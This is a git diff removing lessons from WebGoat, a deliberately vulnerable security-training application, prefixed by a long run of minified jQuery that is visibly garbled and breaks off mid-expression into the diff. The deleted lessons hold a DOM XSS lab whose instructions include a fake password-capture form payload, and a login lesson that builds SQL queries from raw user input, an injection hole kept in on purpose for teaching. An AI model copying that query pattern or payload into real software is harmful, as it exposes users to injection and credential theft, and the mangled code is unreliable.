null==e.pageX&&null!=n.clientX&&(i=e.target.ownerDocument||a,o=i.documentElement,r=i.body,e.pageX=n.clientX+(o&&o.scrollLeft||r&&r.scrollLeft||0)-(o&&o.clientLeft||r&&r.clientLeft||0),e.pageY=n.clientY+(o&&o.scrollTop||r&&r.scrollTop||0)-(o&&o.clientTop||r&&r.clientTop||0)),!e.relatedTarget&&l&&(e.relatedTarget=l===e.target?n.toElement:l),e.which||s===t||(e.which=1&s?1:2&s?3:4&s?2:0),e}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==at()&&this.focus)try{return this.focus(),!1}catch(e){}},delegateType:"focusin"},blur:{trigger:function(){return this===at()&&this.blur?(this.blur(),!1):t},delegateType:"focusout"},click:{trigger:function(){return x.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):t},_default:function(e){return x.nodeName(e.target,"a")}},beforeunload:{postDispatch:function(e){e.result!==t&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=x.extend(new x.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?x.event.trigger(i,null,t):x.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},x.removeEvent=a.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on"+t;e.detachEvent&&(typeof e[r]===i&&(e[r]=null),e.detachEvent(r,n))},x.Event=function(e,n){return this instanceof x.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.returnValue===!1||e.getPreventDefault&&e.getPreventDefault()?it:ot):this.type=e,n&&x.extend(this,n),this.timeStamp=e&&e.timeStamp||x.now(),this[x.expando]=!0,t):new x.Event(e,n)},x.Event.prototype={isDefaultPrevented:ot,isPropagationStopped:ot,isImmediatePropagationStopped:ot,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=it,e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=it,e&&(e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=it,this.stopPropagation()}},x.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(e,t){x.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return(!i||i!==r&&!x.contains(r,i))&&(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),x.support.submitBubbles||(x.event.special.submit={setup:function(){return x.nodeName(this,"form")?!1:(x.event.add(this,"click._submit keypress._submit",function(e){var n=e.target,r=x.nodeName(n,"input")||x.nodeName(n,"button")?n.form:t;r&&!x._data(r,"submitBubbles")&&(x.event.add(r,"submit._submit",function(e){e._submit_bubble=!0}),x._data(r,"submitBubbles",!0))}),t)},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&x.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){return x.nodeName(this,"form")?!1:(x.event.remove(this,"._submit"),t)}}),x.support.changeBubbles||(x.event.special.change={setup:function(){return Z.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&(x.event.add(this,"propertychange._change",function(e){"checked"===e.originalEvent.propertyName&&(this._just_changed=!0)}),x.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),x.event.simulate("change",this,e,!0)})),!1):(x.event.add(this,"beforeactivate._change",function(e){var t=e.target;Z.test(t.nodeName)&&!x._data(t,"changeBubbles")&&(x.event.add(t,"change._change",function(e){!this.parentNode||e.isSimulated||e.isTrigger||x.event.simulate("change",this.parentNode,e,!0)}),x._data(t,"changeBubbles",!0))}),t)},handle:function(e){var n=e.target;return this!==n||e.isSimulated||e.isTrigger||"radio"!==n.type&&"checkbox"!==n.type?e.handleObj.handler.apply(this,arguments):t},teardown:function(){return x.event.remove(this,"._change"),!Z.test(this.nodeName)}}),x.support.focusinBubbles||x.each({focus:"focusin",blur:"focusout"},function(e,t){var n=0,r=function(e){x.event.simulate(t,e.target,x.event.fix(e),!0)};x.event.special[t]={setup:function(){0===n++&&a.addEventListener(e,r,!0)},teardown:function(){0===--n&&a.removeEventListener(e,r,!0)}}}),x.fn.extend({on:function(e,n,r,i,o){var a,s;if("object"==typeof e){"string"!=typeof n&&(r=r||n,n=t);for(a in e)this.on(a,n,r,e[a],o);return this}if(null==r&&null==i?(i=n,r=n=t):null==i&&("string"==typeof n?(i=r,r=t):(i=r,r=n,n=t)),i===!1)i=ot;else if(!i)return this;return 1===o&&(s=i,i=function(e){return x().off(e),s.apply(this,arguments)},i.guid=s.guid||(s.guid=x.guid++)),this.each(function(){x.event.add(this,e,i,r,n)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,n,r){var i,o;if(e&&e.preventDefault&&e.handleObj)return i=e.handleObj,x(e.delegateTarget).off(i.namespace?i.origType+"."+i.namespace:i.origType,i.selector,i.handler),this;if("object"==typeof e){for(o in e)this.off(o,n,e[o]);return this}return(n===!1||"function"==typeof n)&&(r=n,n=t),r===!1&&(r=ot),this.each(function(){x.event.remove(this,e,r,n)})},trigger:function(e,t){return this.each(function(){x.event.trigger(e,t,this)})},triggerHandler:function(e,n){var r=this[0];return r?x.event.trigger(e,n,r,!0):t}});var st=/^.[^:#\[\.,]*$/,lt=/^(?:parents|prev(?:Until|All))/,ut=x.expr.match.needsContext,ct={children:!0,contents:!0,next:!0,prev:!0};x.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if("string"!=typeof e)return this.pushStack(x(e).filter(function(){for(t=0;i>t;t++)if(x.contains(r[t],this))return!0}));for(t=0;i>t;t++)x.find(e,r[t],n);return n=this.pushStack(i>1?x.unique(n):n),n.selector=this.selector?this.selector+" "+e:e,n},has:function(e){var t,n=x(e,this),r=n.length;return this.filter(function(){for(t=0;r>t;t++)if(x.contains(this,n[t]))return!0})},not:function(e){return this.pushStack(ft(this,e||[],!0))},filter:function(e){return this.pushStack(ft(this,e||[],!1))},is:function(e){return!!ft(this,"string"==typeof e&&ut.test(e)?x(e):e||[],!1).length},closest:function(e,t){var n,r=0,i=this.length,o=[],a=ut.test(e)||"string"!=typeof e?x(e,t||this.context):0;for(;i>r;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(11>n.nodeType&&(a?a.index(n)>-1:1===n.nodeType&&x.find.matchesSelector(n,e))){n=o.push(n);break}return this.pushStack(o.length>1?x.unique(o):o)},index:function(e){return e?"string"==typeof e?x.inArray(this[0],x(e)):x.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){var n="string"==typeof e?x(e,t):x.makeArray(e&&e.nodeType?[e]:e),r=x.merge(this.get(),n);return this.pushStack(x.unique(r))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function pt(e,t){do e=e[t];while(e&&1!==e.nodeType);return e}x.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return x.dir(e,"parentNode")},parentsUntil:function(e,t,n){return x.dir(e,"parentNode",n)},next:function(e){return pt(e,"nextSibling")},prev:function(e){return pt(e,"previousSibling")},nextAll:function(e){return x.dir(e,"nextSibling")},prevAll:function(e){return x.dir(e,"previousSibling")},nextUntil:function(e,t,n){return x.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return x.dir(e,"previousSibling",n)},siblings:function(e){return x.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return x.sibling(e.firstChild)},contents:function(e){return x.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:x.merge([],e.childNodes)}},function(e,t){x.fn[e]=function(n,r){var i=x.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=x.filter(r,i)),this.length>1&&(ct[e]||(i=x.unique(i)),lt.test(e)&&(i=i.reverse())),this.pushStack(i)}}),x.extend({filter:function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?x.find.matchesSelector(r,e)?[r]:[]:x.find.matches(e,x.grep(t,function(e){return 1===e.nodeType}))},dir:function(e,n,r){var i=[],o=e[n];while(o&&9!==o.nodeType&&(r===t||1!==o.nodeType||!x(o).is(r)))1===o.nodeType&&i.push(o),o=o[n];return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n}});function ft(e,t,n){if(x.isFunction(t))return x.grep(e,function(e,r){return!!t.call(e,r,e)!==n});if(t.nodeType)return x.grep(e,function(e){return e===t!==n});if("string"==typeof t){if(st.test(t))return x.filter(t,e,n);t=x.filter(t,e)}return x.grep(e,function(e){return x.inArray(e,t)>=0!==n})}function dt(e){var t=ht.split("|"),n=e.createDocumentFragment();if(n.createElement)while(t.length)n.createElement(t.pop());return n}var ht="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",gt=/ jQuery\d+="(?:null|\d+)"/g,mt=RegExp("<(?:"+ht+")[\\s/>]","i"),yt=/^\s+/,vt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,bt=/<([\w:]+)/,xt=/\s*$/g,At={option:[1,""],legend:[1,"
","
"],area:[1,"",""],param:[1,"",""],thead:[1,"","
"],tr:[2,"","
"],col:[2,"","
"],td:[3,"","
"],_default:x.support.htmlSerialize?[0,"",""]:[1,"X
","
"]},jt=dt(a),Dt=jt.appendChild(a.createElement("div"));At.optgroup=At.option,At.tbody=At.tfoot=At.colgroup=At.caption=At.thead,At.th=At.td,x.fn.extend({text:function(e){return x.access(this,function(e){return e===t?x.text(this):this.empty().append((this[0]&&this[0].ownerDocument||a).createTextNode(e))},null,e,arguments.length)},append:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Lt(this,e);t.appendChild(e)}})},prepend:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Lt(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){var n,r=e?x.filter(e,this):this,i=0;for(;null!=(n=r[i]);i++)t||1!==n.nodeType||x.cleanData(Ft(n)),n.parentNode&&(t&&x.contains(n.ownerDocument,n)&&_t(Ft(n,"script")),n.parentNode.removeChild(n));return this},empty:function(){var e,t=0;for(;null!=(e=this[t]);t++){1===e.nodeType&&x.cleanData(Ft(e,!1));while(e.firstChild)e.removeChild(e.firstChild);e.options&&x.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t){return e=null==e?!1:e,t=null==t?e:t,this.map(function(){return x.clone(this,e,t)})},html:function(e){return x.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t)return 1===n.nodeType?n.innerHTML.replace(gt,""):t;if(!("string"!=typeof e||Tt.test(e)||!x.support.htmlSerialize&&mt.test(e)||!x.support.leadingWhitespace&&yt.test(e)||At[(bt.exec(e)||["",""])[1].toLowerCase()])){e=e.replace(vt,"<$1>");try{for(;i>r;r++)n=this[r]||{},1===n.nodeType&&(x.cleanData(Ft(n,!1)),n.innerHTML=e);n=0}catch(o){}}n&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=x.map(this,function(e){return[e.nextSibling,e.parentNode]}),t=0;return this.domManip(arguments,function(n){var r=e[t++],i=e[t++];i&&(r&&r.parentNode!==i&&(r=this.nextSibling),x(this).remove(),i.insertBefore(n,r))},!0),t?this:this.remove()},detach:function(e){return this.remove(e,!0)},domManip:function(e,t,n){e=d.apply([],e);var r,i,o,a,s,l,u=0,c=this.length,p=this,f=c-1,h=e[0],g=x.isFunction(h);if(g||!(1>=c||"string"!=typeof h||x.support.checkClone)&&Nt.test(h))return this.each(function(r){var i=p.eq(r);g&&(e[0]=h.call(this,r,i.html())),i.domManip(e,t,n)});if(c&&(l=x.buildFragment(e,this[0].ownerDocument,!1,!n&&this),r=l.firstChild,1===l.childNodes.length&&(l=r),r)){for(a=x.map(Ft(l,"script"),Ht),o=a.length;c>u;u++)i=l,u!==f&&(i=x.clone(i,!0,!0),o&&x.merge(a,Ft(i,"script"))),t.call(this[u],i,u);if(o)for(s=a[a.length-1].ownerDocument,x.map(a,qt),u=0;o>u;u++)i=a[u],kt.test(i.type||"")&&!x._data(i,"globalEval")&&x.contains(s,i)&&(i.src?x._evalUrl(i.src):x.globalEval((i.text||i.textContent||i.innerHTML||"").replace(St,"")));l=r=null}return this}});function Lt(e,t){return x.nodeName(e,"table")&&x.nodeName(1===t.nodeType?t:t.firstChild,"tr")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ownerDocument.createElement("tbody")):e}function Ht(e){return e.type=(null!==x.find.attr(e,"type"))+"/"+e.type,e}function qt(e){var t=Et.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function _t(e,t){var n,r=0;for(;null!=(n=e[r]);r++)x._data(n,"globalEval",!t||x._data(t[r],"globalEval"))}function Mt(e,t){if(1===t.nodeType&&x.hasData(e)){var n,r,i,o=x._data(e),a=x._data(t,o),s=o.events;if(s){delete a.handle,a.events={};for(n in s)for(r=0,i=s[n].length;i>r;r++)x.event.add(t,n,s[n][r])}a.data&&(a.data=x.extend({},a.data))}}function Ot(e,t){var n,r,i;if(1===t.nodeType){if(n=t.nodeName.toLowerCase(),!x.support.noCloneEvent&&t[x.expando]){i=x._data(t);for(r in i.events)x.removeEvent(t,r,i.handle);t.removeAttribute(x.expando)}"script"===n&&t.text!==e.text?(Ht(t).text=e.text,qt(t)):"object"===n?(t.parentNode&&(t.outerHTML=e.outerHTML),x.support.html5Clone&&e.innerHTML&&!x.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):"input"===n&&Ct.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):"option"===n?t.defaultSelected=t.selected=e.defaultSelected:("input"===n||"textarea"===n)&&(t.defaultValue=e.defaultValue)}}x.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){x.fn[e]=function(e){var n,r=0,i=[],o=x(e),a=o.length-1;for(;a>=r;r++)n=r===a?this:this.clone(!0),x(o[r])[t](n),h.apply(i,n.get());return this.pushStack(i)}});function Ft(e,n){var r,o,a=0,s=typeof e.getElementsByTagName!==i?e.getElementsByTagName(n||"*"):typeof e.querySelectorAll!==i?e.querySelectorAll(n||"*"):t;if(!s)for(s=[],r=e.childNodes||e;null!=(o=r[a]);a++)!n||x.nodeName(o,n)?s.push(o):x.merge(s,Ft(o,n));return n===t||n&&x.nodeName(e,n)?x.merge([e],s):s}function Bt(e){Ct.test(e.type)&&(e.defaultChecked=e.checked)}x.extend({clone:function(e,t,n){var r,i,o,a,s,l=x.contains(e.ownerDocument,e);if(x.support.html5Clone||x.isXMLDoc(e)||!mt.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(Dt.innerHTML=e.outerHTML,Dt.removeChild(o=Dt.firstChild)),!(x.support.noCloneEvent&&x.support.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||x.isXMLDoc(e)))for(r=Ft(o),s=Ft(e),a=0;null!=(i=s[a]);++a)r[a]&&Ot(i,r[a]);if(t)if(n)for(s=s||Ft(e),r=r||Ft(o),a=0;null!=(i=s[a]);a++)Mt(i,r[a]);else Mt(e,o);return r=Ft(o,"script"),r.length>0&&_t(r,!l&&Ft(e,"script")),r=s=i=null,o},buildFragment:function(e,t,n,r){var i,o,a,s,l,u,c,p=e.length,f=dt(t),d=[],h=0;for(;p>h;h++)if(o=e[h],o||0===o)if("object"===x.type(o))x.merge(d,o.nodeType?[o]:o);else if(wt.test(o)){s=s||f.appendChild(t.createElement("div")),l=(bt.exec(o)||["",""])[1].toLowerCase(),c=At[l]||At._default,s.innerHTML=c[1]+o.replace(vt,"<$1>")+c[2],i=c[0];while(i--)s=s.lastChild;if(!x.support.leadingWhitespace&&yt.test(o)&&d.push(t.createTextNode(yt.exec(o)[0])),!x.support.tbody){o="table"!==l||xt.test(o)?""!==c[1]||xt.test(o)?0:s:s.firstChild,i=o&&o.childNodes.length;while(i--)x.nodeName(u=o.childNodes[i],"tbody")&&!u.childNodes.length&&o.removeChild(u)}x.merge(d,s.childNodes),s.textContent="";while(s.firstChild)s.removeChild(s.firstChild);s=f.lastChild}else d.push(t.createTextNode(o));s&&f.removeChild(s),x.support.appendChecked||x.grep(Ft(d,"input"),Bt),h=0;while(o=d[h++])if((!r||-1===x.inArray(o,r))&&(a=x.contains(o.ownerDocument,o),s=Ft(f.appendChild(o),"script"),a&&_t(s),n)){i=0;while(o=s[i++])kt.test(o.type||"")&&n.push(o)}return s=null,f},cleanData:function(e,t){var n,r,o,a,s=0,l=x.expando,u=x.cache,c=x.support.deleteExpando,f=x.event.special;for(;null!=(n=e[s]);s++)if((t||x.acceptData(n))&&(o=n[l],a=o&&u[o])){if(a.events)for(r in a.events)f[r]?x.event.remove(n,r):x.removeEvent(n,r,a.handle); -u[o]&&(delete u[o],c?delete n[l]:typeof n.removeAttribute!==i?n.removeAttribute(l):n[l]=null,p.push(o))}},_evalUrl:function(e){return x.ajax({url:e,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0})}}),x.fn.extend({wrapAll:function(e){if(x.isFunction(e))return this.each(function(t){x(this).wrapAll(e.call(this,t))});if(this[0]){var t=x(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&1===e.firstChild.nodeType)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return x.isFunction(e)?this.each(function(t){x(this).wrapInner(e.call(this,t))}):this.each(function(){var t=x(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=x.isFunction(e);return this.each(function(n){x(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){x.nodeName(this,"body")||x(this).replaceWith(this.childNodes)}).end()}});var Pt,Rt,Wt,$t=/alpha\([^)]*\)/i,It=/opacity\s*=\s*([^)]*)/,zt=/^(top|right|bottom|left)$/,Xt=/^(none|table(?!-c[ea]).+)/,Ut=/^margin/,Vt=RegExp("^("+w+")(.*)$","i"),Yt=RegExp("^("+w+")(?!px)[a-z%]+$","i"),Jt=RegExp("^([+-])=("+w+")","i"),Gt={BODY:"block"},Qt={position:"absolute",visibility:"hidden",display:"block"},Kt={letterSpacing:0,fontWeight:400},Zt=["Top","Right","Bottom","Left"],en=["Webkit","O","Moz","ms"];function tn(e,t){if(t in e)return t;var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=en.length;while(i--)if(t=en[i]+n,t in e)return t;return r}function nn(e,t){return e=t||e,"none"===x.css(e,"display")||!x.contains(e.ownerDocument,e)}function rn(e,t){var n,r,i,o=[],a=0,s=e.length;for(;s>a;a++)r=e[a],r.style&&(o[a]=x._data(r,"olddisplay"),n=r.style.display,t?(o[a]||"none"!==n||(r.style.display=""),""===r.style.display&&nn(r)&&(o[a]=x._data(r,"olddisplay",ln(r.nodeName)))):o[a]||(i=nn(r),(n&&"none"!==n||!i)&&x._data(r,"olddisplay",i?n:x.css(r,"display"))));for(a=0;s>a;a++)r=e[a],r.style&&(t&&"none"!==r.style.display&&""!==r.style.display||(r.style.display=t?o[a]||"":"none"));return e}x.fn.extend({css:function(e,n){return x.access(this,function(e,n,r){var i,o,a={},s=0;if(x.isArray(n)){for(o=Rt(e),i=n.length;i>s;s++)a[n[s]]=x.css(e,n[s],!1,o);return a}return r!==t?x.style(e,n,r):x.css(e,n)},e,n,arguments.length>1)},show:function(){return rn(this,!0)},hide:function(){return rn(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){nn(this)?x(this).show():x(this).hide()})}}),x.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Wt(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":x.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,r,i){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var o,a,s,l=x.camelCase(n),u=e.style;if(n=x.cssProps[l]||(x.cssProps[l]=tn(u,l)),s=x.cssHooks[n]||x.cssHooks[l],r===t)return s&&"get"in s&&(o=s.get(e,!1,i))!==t?o:u[n];if(a=typeof r,"string"===a&&(o=Jt.exec(r))&&(r=(o[1]+1)*o[2]+parseFloat(x.css(e,n)),a="number"),!(null==r||"number"===a&&isNaN(r)||("number"!==a||x.cssNumber[l]||(r+="px"),x.support.clearCloneStyle||""!==r||0!==n.indexOf("background")||(u[n]="inherit"),s&&"set"in s&&(r=s.set(e,r,i))===t)))try{u[n]=r}catch(c){}}},css:function(e,n,r,i){var o,a,s,l=x.camelCase(n);return n=x.cssProps[l]||(x.cssProps[l]=tn(e.style,l)),s=x.cssHooks[n]||x.cssHooks[l],s&&"get"in s&&(a=s.get(e,!0,r)),a===t&&(a=Wt(e,n,i)),"normal"===a&&n in Kt&&(a=Kt[n]),""===r||r?(o=parseFloat(a),r===!0||x.isNumeric(o)?o||0:a):a}}),e.getComputedStyle?(Rt=function(t){return e.getComputedStyle(t,null)},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),l=s?s.getPropertyValue(n)||s[n]:t,u=e.style;return s&&(""!==l||x.contains(e.ownerDocument,e)||(l=x.style(e,n)),Yt.test(l)&&Ut.test(n)&&(i=u.width,o=u.minWidth,a=u.maxWidth,u.minWidth=u.maxWidth=u.width=l,l=s.width,u.width=i,u.minWidth=o,u.maxWidth=a)),l}):a.documentElement.currentStyle&&(Rt=function(e){return e.currentStyle},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),l=s?s[n]:t,u=e.style;return null==l&&u&&u[n]&&(l=u[n]),Yt.test(l)&&!zt.test(n)&&(i=u.left,o=e.runtimeStyle,a=o&&o.left,a&&(o.left=e.currentStyle.left),u.left="fontSize"===n?"1em":l,l=u.pixelLeft+"px",u.left=i,a&&(o.left=a)),""===l?"auto":l});function on(e,t,n){var r=Vt.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||"px"):t}function an(e,t,n,r,i){var o=n===(r?"border":"content")?4:"width"===t?1:0,a=0;for(;4>o;o+=2)"margin"===n&&(a+=x.css(e,n+Zt[o],!0,i)),r?("content"===n&&(a-=x.css(e,"padding"+Zt[o],!0,i)),"margin"!==n&&(a-=x.css(e,"border"+Zt[o]+"Width",!0,i))):(a+=x.css(e,"padding"+Zt[o],!0,i),"padding"!==n&&(a+=x.css(e,"border"+Zt[o]+"Width",!0,i)));return a}function sn(e,t,n){var r=!0,i="width"===t?e.offsetWidth:e.offsetHeight,o=Rt(e),a=x.support.boxSizing&&"border-box"===x.css(e,"boxSizing",!1,o);if(0>=i||null==i){if(i=Wt(e,t,o),(0>i||null==i)&&(i=e.style[t]),Yt.test(i))return i;r=a&&(x.support.boxSizingReliable||i===e.style[t]),i=parseFloat(i)||0}return i+an(e,t,n||(a?"border":"content"),r,o)+"px"}function ln(e){var t=a,n=Gt[e];return n||(n=un(e,t),"none"!==n&&n||(Pt=(Pt||x(" - - // Please enter your password:
















- - return hints; - } - - /** - * Gets the ranking attribute of the HelloScreen object - * - * @return The ranking value - */ - private final static Integer DEFAULT_RANKING = new Integer(10); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - protected Category getDefaultCategory() - { - return Category.AJAX_SECURITY; - } - - /** - * Gets the title attribute of the HelloScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("LAB: DOM-Based cross-site scripting"); - } - - public String getInstructions(WebSession s) - { - String instructions = ""; - - if (getLessonTracker(s).getStage() == 1) - { - instructions = "STAGE 1:\tFor this exercise, your mission is to deface this website using the image at the following location: OWASP IMAGE"; - } - else if (getLessonTracker(s).getStage() == 2) - { - instructions = "STAGE 2:\tNow, try to create a JavaScript alert using the image tag"; - } - else if (getLessonTracker(s).getStage() == 3) - { - instructions = "STAGE 3:\tNext, try to create a JavaScript alert using the IFRAME tag."; - } - else if (getLessonTracker(s).getStage() == 4) - { - instructions = "STAGE 4:\tUse the following to create a fake login form:

" - + "Please enter your password:<BR><input type = \"password\" name=\"pass\"/><button " - + "onClick=\"javascript:alert('I have your password: ' + pass.value);\">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>"; - } - else if (getLessonTracker(s).getStage() == 5) - { - instructions = "STAGE 5:\tPerform client-side HTML entity encoding to mitigate the DOM XSS vulnerability. A utility method is provided for you in escape.js."; - } - return (instructions); - } - - private String getFileContent(String content) - { - BufferedReader is = null; - StringBuffer sb = new StringBuffer(); - - try - { - is = new BufferedReader(new FileReader(new File(content))); - String s = null; - - while ((s = is.readLine()) != null) - { - sb.append(s); - } - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - if (is != null) - { - try - { - is.close(); - } catch (IOException ioe) - { - - } - } - } - - return sb.toString(); - } - - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } -} diff --git a/src/main/java/org/owasp/webgoat/lessons/DOS_Login.java b/src/main/java/org/owasp/webgoat/lessons/DOS_Login.java deleted file mode 100644 index 7f06eef1b..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/DOS_Login.java +++ /dev/null @@ -1,252 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import java.sql.Connection; -import java.sql.ResultSet; -import java.sql.ResultSetMetaData; -import java.sql.SQLException; -import java.sql.Statement; -import java.util.ArrayList; -import java.util.List; -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.StringElement; -import org.apache.ecs.html.H1; -import org.apache.ecs.html.H2; -import org.apache.ecs.html.Input; -import org.apache.ecs.html.P; -import org.apache.ecs.html.TD; -import org.apache.ecs.html.TR; -import org.apache.ecs.html.Table; -import org.owasp.webgoat.session.DatabaseUtilities; -import org.owasp.webgoat.session.ECSFactory; -import org.owasp.webgoat.session.WebSession; -import org.owasp.webgoat.session.ParameterNotFoundException; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - * - * @author Bruce Mayhew WebGoat - * @created October 28, 2003 - */ -public class DOS_Login extends LessonAdapter -{ - - /** - * Description of the Field - */ - protected final static String PASSWORD = "Password"; - - /** - * Description of the Field - */ - protected final static String USERNAME = "Username"; - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - try - { - String username = ""; - String password = ""; - username = s.getParser().getRawParameter(USERNAME); - password = s.getParser().getRawParameter(PASSWORD); - - // don;t allow user name from other lessons. it would be too simple. - if (username.equals("jeff") || username.equals("dave")) - { - ec.addElement(new H2("Login Failed: 'jeff' and 'dave' are not valid for this lesson")); - return (ec.addElement(makeLogin(s))); - } - - // Check if the login is valid - Connection connection = DatabaseUtilities.getConnection(s); - - String query = "SELECT * FROM user_system_data WHERE user_name = '" + username + "' and password = '" - + password + "'"; - ec.addElement(new StringElement(query)); - - try - { - Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - ResultSet results = statement.executeQuery(query); - - if ((results != null) && (results.first() == true)) - { - ResultSetMetaData resultsMetaData = results.getMetaData(); - ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData)); - results.last(); - - // If they get back more than one user they succeeded - if (results.getRow() >= 1) - { - // Make sure this isn't data from an sql injected query. - if (results.getString(2).equals(username) && results.getString(3).equals(password)) - { - String insertData1 = "INSERT INTO user_login VALUES ( '" + username + "', '" - + s.getUserName() + "' )"; - statement.executeUpdate(insertData1); - } - // check the total count of logins - query = "SELECT * FROM user_login WHERE webgoat_user = '" + s.getUserName() + "'"; - results = statement.executeQuery(query); - results.last(); - // If they get back more than one user they succeeded - if (results.getRow() >= 3) - { - makeSuccess(s); - String deleteData1 = "DELETE from user_login WHERE webgoat_user = '" + s.getUserName() - + "'"; - statement.executeUpdate(deleteData1); - return (new H1("Congratulations! Lesson Completed")); - } - - ec.addElement(new H2("Login Succeeded: Total login count: " + results.getRow())); - } - } - else - { - ec.addElement(new H2("Login Failed")); - // check the total count of logins - query = "SELECT * FROM user_login WHERE webgoat_user = '" + s.getUserName() + "'"; - results = statement.executeQuery(query); - results.last(); - ec.addElement(new H2("Successfull login count: " + results.getRow())); - - } - } catch (SQLException sqle) - { - ec.addElement(new P().addElement(sqle.getMessage())); - sqle.printStackTrace(); - } - } catch (ParameterNotFoundException pnfe) - { - /** - * 